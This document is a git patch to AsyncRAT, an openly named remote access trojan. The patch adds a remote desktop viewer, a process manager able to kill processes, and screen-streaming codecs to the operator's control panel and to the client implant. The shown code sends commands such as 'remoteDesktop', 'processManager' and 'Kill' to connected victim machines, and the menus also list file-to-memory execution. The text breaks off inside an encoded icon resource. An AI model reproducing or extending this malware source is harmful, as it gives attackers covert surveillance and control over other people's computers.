From 264affa76f26fc0051f12060fe613b577fde4109 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 7 Feb 2019 15:47:12 -0800 Subject: [PATCH] Update Added remotedesktop + process manager --- .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 50 ++ .../AsyncRAT-Sharp/Forms/Form1.Designer.cs | 34 +- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 92 ++- .../Forms/ProcessManager.Designer.cs | 135 ++++ .../AsyncRAT-Sharp/Forms/ProcessManager.cs | 62 ++ .../AsyncRAT-Sharp/Forms/ProcessManager.resx | 586 ++++++++++++++++++ .../Forms/RemoteDesktop.Designer.cs | 75 +++ .../AsyncRAT-Sharp/Forms/RemoteDesktop.cs | 61 ++ .../AsyncRAT-Sharp/Forms/RemoteDesktop.resx | 580 +++++++++++++++++ .../Handle Packet/HandlePacket.cs | 79 +++ AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs | 4 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 4 +- .../StreamLibrary/Codecs/DirectDriverCodec.cs | 160 +++++ .../StreamLibrary/Codecs/MJPGCodec.cs | 68 ++ .../Codecs/QuickCachedStreamCodec.cs | 204 ++++++ .../StreamLibrary/Codecs/QuickStreamCodec.cs | 179 ++++++ .../Codecs/SmallCachedStreamCodec.cs | 374 +++++++++++ .../StreamLibrary/Codecs/SmallStreamCodec.cs | 266 ++++++++ .../Encoders/GridCoder/GridBlock.cs | 26 + .../Encoders/GridCoder/GridEncoder.cs | 47 ++ .../AsyncRAT-Sharp/StreamLibrary/Enums.cs | 24 + .../AsyncRAT-Sharp/StreamLibrary/IEncoder.cs | 46 ++ .../StreamLibrary/IUnsafeCodec.cs | 46 ++ .../StreamLibrary/IVideoCodec.cs | 35 ++ .../UnsafeCodecs/UnsafeCacheCodec.cs | 324 ++++++++++ .../UnsafeCodecs/UnsafeCachedStreamCodec.cs | 308 +++++++++ .../UnsafeCodecs/UnsafeMiniCodec.cs | 365 +++++++++++ .../UnsafeCodecs/UnsafeOptimizedCodec.cs | 473 ++++++++++++++ .../UnsafeCodecs/UnsafeQuickStream.cs | 285 +++++++++ .../UnsafeCodecs/UnsafeStreamCodec.cs | 367 +++++++++++ .../AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs | 186 ++++++ .../StreamLibrary/src/ExtensionAttribute.cs | 12 + .../StreamLibrary/src/Extentions.cs | 59 ++ .../StreamLibrary/src/FastBitmap.cs | 353 +++++++++++ .../StreamLibrary/src/JpgCompression.cs | 52 ++ .../StreamLibrary/src/LzwCompression.cs | 55 ++ .../StreamLibrary/src/MurmurHash2Unsafe.cs | 62 ++ .../StreamLibrary/src/NativeMethods.cs | 22 + .../StreamLibrary/src/PayloadWriter.cs | 113 ++++ .../StreamLibrary/src/PointerHelper.cs | 58 ++ .../StreamLibrary/src/SafeQuickLZ.cs | 487 +++++++++++++++ .../StreamLibrary/src/SimpleBitmap.cs | 177 ++++++ AsyncRAT-C#/Client/Client.csproj | 34 + AsyncRAT-C#/Client/Program.cs | 146 ++++- .../StreamLibrary/Codecs/DirectDriverCodec.cs | 160 +++++ .../Client/StreamLibrary/Codecs/MJPGCodec.cs | 68 ++ .../Codecs/QuickCachedStreamCodec.cs | 204 ++++++ .../StreamLibrary/Codecs/QuickStreamCodec.cs | 179 ++++++ .../Codecs/SmallCachedStreamCodec.cs | 374 +++++++++++ .../StreamLibrary/Codecs/SmallStreamCodec.cs | 266 ++++++++ .../Encoders/GridCoder/GridBlock.cs | 26 + .../Encoders/GridCoder/GridEncoder.cs | 47 ++ AsyncRAT-C#/Client/StreamLibrary/Enums.cs | 24 + AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs | 46 ++ .../Client/StreamLibrary/IUnsafeCodec.cs | 46 ++ .../Client/StreamLibrary/IVideoCodec.cs | 35 ++ .../UnsafeCodecs/UnsafeCacheCodec.cs | 324 ++++++++++ .../UnsafeCodecs/UnsafeCachedStreamCodec.cs | 308 +++++++++ .../UnsafeCodecs/UnsafeMiniCodec.cs | 365 +++++++++++ .../UnsafeCodecs/UnsafeOptimizedCodec.cs | 473 ++++++++++++++ .../UnsafeCodecs/UnsafeQuickStream.cs | 285 +++++++++ .../UnsafeCodecs/UnsafeStreamCodec.cs | 363 +++++++++++ AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs | 186 ++++++ .../StreamLibrary/src/ExtensionAttribute.cs | 12 + .../Client/StreamLibrary/src/Extentions.cs | 59 ++ .../Client/StreamLibrary/src/FastBitmap.cs | 353 +++++++++++ .../StreamLibrary/src/JpgCompression.cs | 52 ++ .../StreamLibrary/src/LzwCompression.cs | 55 ++ .../StreamLibrary/src/MurmurHash2Unsafe.cs | 62 ++ .../Client/StreamLibrary/src/NativeMethods.cs | 22 + .../Client/StreamLibrary/src/PayloadWriter.cs | 113 ++++ .../Client/StreamLibrary/src/PointerHelper.cs | 58 ++ .../Client/StreamLibrary/src/SafeQuickLZ.cs | 487 +++++++++++++++ .../Client/StreamLibrary/src/SimpleBitmap.cs | 177 ++++++ README.md | 2 +- 76 files changed, 12384 insertions(+), 24 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/Enums.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs create mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index c79489f..bc99e49 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -21,6 +21,7 @@ DEBUG;TRACE prompt 4 + true AnyCPU @@ -55,6 +56,18 @@ Form1.cs + + Form + + + ProcessManager.cs + + + Form + + + RemoteDesktop.cs + @@ -73,9 +86,45 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form1.cs + + ProcessManager.cs + + + RemoteDesktop.cs + ResXFileCodeGenerator Resources.Designer.cs @@ -108,5 +157,6 @@ + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index 26b5aa9..f29f577 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -32,6 +32,7 @@ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); this.listView1 = new System.Windows.Forms.ListView(); this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -43,11 +44,12 @@ this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.rEMOTEDESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.ping = new System.Windows.Forms.Timer(this.components); this.UpdateUI = new System.Windows.Forms.Timer(this.components); - this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -78,6 +80,11 @@ this.lv_ip.Text = "IP"; this.lv_ip.Width = 150; // + // lv_hwid + // + this.lv_hwid.Text = "HWID"; + this.lv_hwid.Width = 150; + // // lv_user // this.lv_user.Text = "USER"; @@ -96,9 +103,11 @@ this.toolStripSeparator1, this.sENDMESSAGEBOXToolStripMenuItem, this.sENDFILEToolStripMenuItem, - this.sENDFILETOMEMORYToolStripMenuItem}); + this.sENDFILETOMEMORYToolStripMenuItem, + this.rEMOTEDESKTOPToolStripMenuItem, + this.pROCESSMANAGERToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(275, 130); + this.contextMenuStrip1.Size = new System.Drawing.Size(275, 223); // // cLIENTOPTIONSToolStripMenuItem // @@ -157,6 +166,13 @@ this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY"; this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click); // + // rEMOTEDESKTOPToolStripMenuItem + // + this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem"; + this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30); + this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP"; + this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click); + // // statusStrip1 // this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); @@ -186,10 +202,12 @@ this.UpdateUI.Interval = 1000; this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick); // - // lv_hwid + // pROCESSMANAGERToolStripMenuItem // - this.lv_hwid.Text = "HWID"; - this.lv_hwid.Width = 150; + this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem"; + this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); + this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER"; + this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click); // // Form1 // @@ -231,7 +249,9 @@ private System.Windows.Forms.ToolStripMenuItem sENDMESSAGEBOXToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sENDFILEToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem; - private System.Windows.Forms.ColumnHeader lv_hwid; + private System.Windows.Forms.ToolStripMenuItem rEMOTEDESKTOPToolStripMenuItem; + public System.Windows.Forms.ColumnHeader lv_hwid; + private System.Windows.Forms.ToolStripMenuItem pROCESSMANAGERToolStripMenuItem; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 6599988..65699bc 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -8,6 +8,7 @@ using System.Linq; using System.Threading; using System.Drawing; using System.IO; +using AsyncRAT_Sharp.Forms; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -66,7 +67,7 @@ namespace AsyncRAT_Sharp } - private void ping_Tick(object sender, EventArgs e) + private async void ping_Tick(object sender, EventArgs e) { if (Settings.Online.Count > 0) { @@ -75,7 +76,7 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Message").AsString = "This is a ping!"; foreach (Clients CL in Settings.Online.ToList()) { - Task.Run(() => + await Task.Run(() => { CL.BeginSend(msgpack.Encode2Bytes()); }); @@ -89,7 +90,7 @@ namespace AsyncRAT_Sharp toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString()); } - private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) + private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -97,7 +98,7 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "close"; foreach (ListViewItem C in listView1.SelectedItems) { - Task.Run(() => + await Task.Run(() => { Clients CL = (Clients)C.Tag; CL.BeginSend(msgpack.Encode2Bytes()); @@ -106,7 +107,7 @@ namespace AsyncRAT_Sharp } } - private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) + private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -120,7 +121,7 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Message").AsString = Msgbox; foreach (ListViewItem C in listView1.SelectedItems) { - Task.Run(() => + await Task.Run(() => { Clients CL = (Clients)C.Tag; CL.BeginSend(msgpack.Encode2Bytes()); @@ -162,7 +163,7 @@ namespace AsyncRAT_Sharp } } - private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) + private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -170,7 +171,7 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "uninstall"; foreach (ListViewItem C in listView1.SelectedItems) { - Task.Run(() => + await Task.Run(() => { Clients CL = (Clients)C.Tag; CL.BeginSend(msgpack.Encode2Bytes()); @@ -211,7 +212,7 @@ namespace AsyncRAT_Sharp } } - private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) + private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -235,7 +236,7 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { - Task.Run(() => + await Task.Run(() => { Clients CL = (Clients)C.Tag; CL.BeginSend(msgpack.Encode2Bytes()); @@ -246,5 +247,76 @@ namespace AsyncRAT_Sharp SF.Close(); } } + + private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) + { + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "true"; + foreach (ListViewItem C in listView1.SelectedItems) + { + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + this.BeginInvoke((MethodInvoker)(() => + { + RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; + if (RD == null) + { + RD = new RemoteDesktop + { + Name = "RemoteDesktop:" + CL.ID, + F = this, + Text = "RemoteDesktop:" + CL.ID, + C = CL, + Active = true + }; + RD.Show(); + CL.BeginSend(msgpack.Encode2Bytes()); + } + })); + }); + } + } + } + } + + private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) + { + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "processManager"; + msgpack.ForcePathObject("Option").AsString = "List"; + foreach (ListViewItem C in listView1.SelectedItems) + { + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + this.BeginInvoke((MethodInvoker)(() => + { + ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; + if (PM == null) + { + PM = new ProcessManager + { + Name = "processManager:" + CL.ID, + Text = "processManager:" + CL.ID, + F = this, + C = CL + }; + PM.Show(); + CL.BeginSend(msgpack.Encode2Bytes()); + } + })); + }); + } + } + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs new file mode 100644 index 0000000..87a18cf --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs @@ -0,0 +1,135 @@ +namespace AsyncRAT_Sharp.Forms +{ + partial class ProcessManager + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessManager)); + this.listView1 = new System.Windows.Forms.ListView(); + this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.imageList1 = new System.Windows.Forms.ImageList(this.components); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // listView1 + // + this.listView1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.lv_name, + this.lv_id}); + this.listView1.ContextMenuStrip = this.contextMenuStrip1; + this.listView1.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView1.FullRowSelect = true; + this.listView1.GridLines = true; + this.listView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.listView1.Location = new System.Drawing.Point(0, 0); + this.listView1.Name = "listView1"; + this.listView1.ShowGroups = false; + this.listView1.ShowItemToolTips = true; + this.listView1.Size = new System.Drawing.Size(659, 719); + this.listView1.SmallImageList = this.imageList1; + this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending; + this.listView1.TabIndex = 0; + this.listView1.UseCompatibleStateImageBehavior = false; + this.listView1.View = System.Windows.Forms.View.Details; + // + // lv_name + // + this.lv_name.Text = "Name"; + this.lv_name.Width = 350; + // + // lv_id + // + this.lv_id.Text = "ID"; + this.lv_id.Width = 150; + // + // imageList1 + // + this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit; + this.imageList1.ImageSize = new System.Drawing.Size(32, 32); + this.imageList1.TransparentColor = System.Drawing.Color.Transparent; + // + // timer1 + // + this.timer1.Enabled = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.timer1_Tick); + // + // contextMenuStrip1 + // + this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.killToolStripMenuItem, + this.refreshToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(241, 97); + // + // killToolStripMenuItem + // + this.killToolStripMenuItem.Name = "killToolStripMenuItem"; + this.killToolStripMenuItem.Size = new System.Drawing.Size(240, 30); + this.killToolStripMenuItem.Text = "Kill"; + this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(240, 30); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // ProcessManager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(659, 719); + this.Controls.Add(this.listView1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ProcessManager"; + this.Text = "ProcessManager"; + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.ColumnHeader lv_name; + private System.Windows.Forms.ColumnHeader lv_id; + public System.Windows.Forms.ListView listView1; + public System.Windows.Forms.ImageList imageList1; + private System.Windows.Forms.Timer timer1; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs new file mode 100644 index 0000000..2ec3236 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; + +namespace AsyncRAT_Sharp.Forms +{ + public partial class ProcessManager : Form + { + public ProcessManager() + { + InitializeComponent(); + } + + public Form1 F { get; set; } + internal Clients C { get; set; } + + private void timer1_Tick(object sender, EventArgs e) + { + if (!C.Client.Connected) + { + this.Close(); + } + } + + private async void killToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + foreach (ListViewItem P in listView1.SelectedItems) + { + await Task.Run(() => + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "processManager"; + msgpack.ForcePathObject("Option").AsString = "Kill"; + msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; + C.BeginSend(msgpack.Encode2Bytes()); + }); + } + } + } + + private async void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + await Task.Run(() => + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "processManager"; + msgpack.ForcePathObject("Option").AsString = "List"; + C.BeginSend(msgpack.Encode2Bytes()); + }); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx new file mode 100644 index 0000000..d449eb8 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx @@ -0,0 +1,586 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 280, 17 + + + 17, 17 + + + 166, 17 + + + + + AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA + 